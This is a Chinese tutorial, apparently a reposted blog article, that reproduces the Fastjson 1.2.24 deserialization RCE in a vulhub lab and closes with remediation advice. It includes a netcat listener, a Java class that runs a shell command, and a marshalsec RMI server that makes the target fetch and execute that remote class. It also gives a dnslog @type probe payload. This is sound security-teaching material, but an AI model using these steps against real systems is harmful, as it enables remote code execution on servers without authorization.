目錄
(一)Fastjson介紹
1、認(rèn)識Fastjson
1.1?序列化
1.2??反序列化
1.3?@type 自省 Autotype
(二)漏洞原理
1、比較常用的攻擊類
1.1??com.sun.rowset.JdbcRowSetImpl
1.2?com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp
(三)1.2.24 RCE復(fù)現(xiàn)
1、vulnhub啟動
注意:Linux配置JRE版本
2、攻擊機(jī)監(jiān)聽(kali)
?3、惡意腳本準(zhǔn)備與上傳(kali)
1、編譯成 class文件
2、啟動HTTP服務(wù)器
4、LDAP服務(wù)啟動(kali)
1、借助marshalsec項(xiàng)目,快速開啟rmi或ldap服務(wù)
2、啟動一個(gè)RMI服務(wù)器,監(jiān)聽9473端口,并制定加載遠(yuǎn)程類LinuxTouch.class:
5、Burp發(fā)送payload
?(四)漏洞原理(JdbcRowSetImpl利用鏈)
1、set方法
1. 1、setSourceName()
1.2、setAutoCommit()
(五)漏洞挖掘
1、思路
1.1?找到發(fā)送JSON序列化數(shù)據(jù)的接口
1.2??判斷是否使用fastjon
(六)修復(fù)方案
1、升級JDK
2、升級Fastjson到最新版
3、使用安全產(chǎn)品過濾非法內(nèi)容
4、更換其它序列化工具
(一)Fastjson介紹
1、認(rèn)識Fastjson
????????Fastjson是一個(gè)JSON工具庫,它的作用就是把java對象轉(zhuǎn)換為json形式,也可
以用來將 json 轉(zhuǎn)換為 java 對象。
1.1?序列化
????????序列化的時(shí)候,會調(diào)用成員變量的get方法,私有成員變量不會被序列化,注意它不包括類名。
String text-JSON.toJSONString(obj);//序列化
{name='jinyouxin', age=66, flag=true, sex='boy',address='null'}
1.2??反序列化
????????反序列化 的時(shí)候, 會調(diào)用成員變量的set方法, publibc修飾的成員全部自動賦值。
- JSON.parseObject
????????返回實(shí)際類型對象(用得更多),后面接想要反序列的類型, 返回實(shí)際類型對象 .
eg:
User user4 = JSON.parseObject( serializedStr, User.class);
-
JSON.parse
????????JSON.parse() 返回JsonObject對象
Object obj1 =JSON.parse(serializedStr);
1.3?@type 自省 Autotype
? ? ? ? 引入這個(gè)功能的目的是在序列化的時(shí)候防止子類中包含接口或抽象類的時(shí)候,類型丟失,這樣我們在反序列化的時(shí)候就不需要再指定類名。
eg:
????????漏洞在這里就發(fā)生了,@type中提供了對對象反序列化的類型定義,我們就可以修改此內(nèi)容的值。
(二)漏洞原理
????????fastjson在對 JSON 字符串進(jìn)行反序列化的時(shí)候,會讀取 @type 的內(nèi)容,試圖把 JSON 內(nèi)容反序列化成這個(gè)對象,并且會調(diào)用這個(gè)類的set方法, 利用這個(gè)特性,構(gòu)造一個(gè) JSON 字符串,并且使 用 @type 反序列化一個(gè)自己想要使用的 攻擊類庫
1、比較常用的攻擊類
1.1??com.sun.rowset.JdbcRowSetImpl
????????這是sun 官方提供的一個(gè)類庫,這個(gè)類的 dataSourceName 支持傳入一個(gè)rmi 的源,當(dāng)解析這個(gè) uri 的時(shí)候,就會支持 rmi遠(yuǎn)程調(diào)用 ,去指定的rmi 地址中去調(diào)用方法
1.2?com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp
原理同上
(三)1.2.24 RCE復(fù)現(xiàn)
1、vulnhub啟動
- cd fastjson/1.2.24-rce
- docker-compose build
- docker-compose up -d
?
訪問端口:
?文章來源地址http://www.zghlxwxcb.cn/news/detail-468996.html
注意:Linux配置JRE版本
vim /etc/profileexportJAVA_HOME=/usr/local/soft/java/jdk1.8.0_74export PATH=$JAVA_HOME/bin:$PATHexportCLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile
2、攻擊機(jī)監(jiān)聽(kali)
nc -lvp 9001
?3、惡意腳本準(zhǔn)備與上傳(kali)
1、編譯成 class文件
編譯惡意代碼,通過javac LinuxRevers 編譯成class文件,將編譯好的class上傳至你的web服務(wù)器,地址為http://yours_ip/exp/LinuxTouch.class
public class LinuxTouch {
public LinuxTouch(){
try{
Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
LinuxTouch e = new LinuxTouch();
}
}
? ? ? ? 仔細(xì)閱讀代碼不難發(fā)現(xiàn),只要下載代碼,里面有main方法,就要執(zhí)行惡意代碼,攻擊執(zhí)行
2、啟動HTTP服務(wù)器
- python -m http.server 8089 ???????????????????????????????py3
- python –m SimpleHTTPServer 8088 ????????????????py2
????????啟動http服務(wù)的目的是給LinuxTouch.class提供下載,假如我們在瀏覽器直接輸入url時(shí),它就會自動下載.class文件。
4、LDAP服務(wù)啟動(kali)
1、借助marshalsec項(xiàng)目,快速開啟rmi或ldap服務(wù)
git clone https://github.com/mbechler/marshalsec #下載marshalsec
apt install maven #下載maven,使用maven進(jìn)行編譯jar包
cd marshalsec mvn clean package ‐DskipTests
2、啟動一個(gè)RMI服務(wù)器,監(jiān)聽9473端口,并制定加載遠(yuǎn)程類LinuxTouch.class:
? ? ? ? 我們可以把它理解為中介,如果有人訪問9473端口的話,就讓這個(gè)人訪問LinuxTouch.class,把它自動下載到本地。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
?
5、Burp發(fā)送payload
? ? ? ? 我們先用POST訪問 8090 的端口,本網(wǎng)頁可以接收序列化和反序列化的接口,它就拿到下面的內(nèi)容進(jìn)行反序列化,@type?具有自醒的功能,在反序列化的過程中,它會連接到本機(jī)已經(jīng)在kali里面已經(jīng)啟動好的RMI的服務(wù),RMI讓它去訪問下載LinuxTouch.class文件,這樣攻擊就發(fā)生了。
?
?(四)漏洞原理(JdbcRowSetImpl利用鏈)
? ? ? ? 經(jīng)過上面的漏洞復(fù)現(xiàn),我們大致可以理解漏洞執(zhí)行的過程,接下來就要具體分析里面方法是怎么 "connect"的
1、set方法
? ? ? ? 我們想要把二個(gè)屬性 dataSourceName 和 autoCommit 反序列化成JdbcRowSetImpl類,要調(diào)用setDataSourceName()和setAutoCommit()的方法。
1. 1、setSourceName()
?????????給數(shù)據(jù)源的名字進(jìn)行賦值。
1.2、setAutoCommit()
connect()的方法就危險(xiǎn)!!!
? ? ? ? ?JNDI一旦調(diào)用lookup()方法,就會連接到LDAP/RMI服務(wù)器,下載惡意代碼到本地,執(zhí)行,攻擊發(fā)生.
(五)漏洞挖掘
1、思路
1.1?找到發(fā)送JSON序列化數(shù)據(jù)的接口
1.2??判斷是否使用fastjon
- 1)非法格式報(bào)錯
{"x":"?
- 2)使用dnslog探測
{"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
(六)修復(fù)方案
1、升級JDK
文章來源:http://www.zghlxwxcb.cn/news/detail-468996.html
?
6u211 / 7u201 / 8u191 /11.0.1
2、升級Fastjson到最新版
fastjson.parser.safeMode=true
3、使用安全產(chǎn)品過濾非法內(nèi)容
4、更換其它序列化工具
Jackson/Gson
到了這里,關(guān)于Fastjson反序列化漏洞(1.2.24 RCE)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!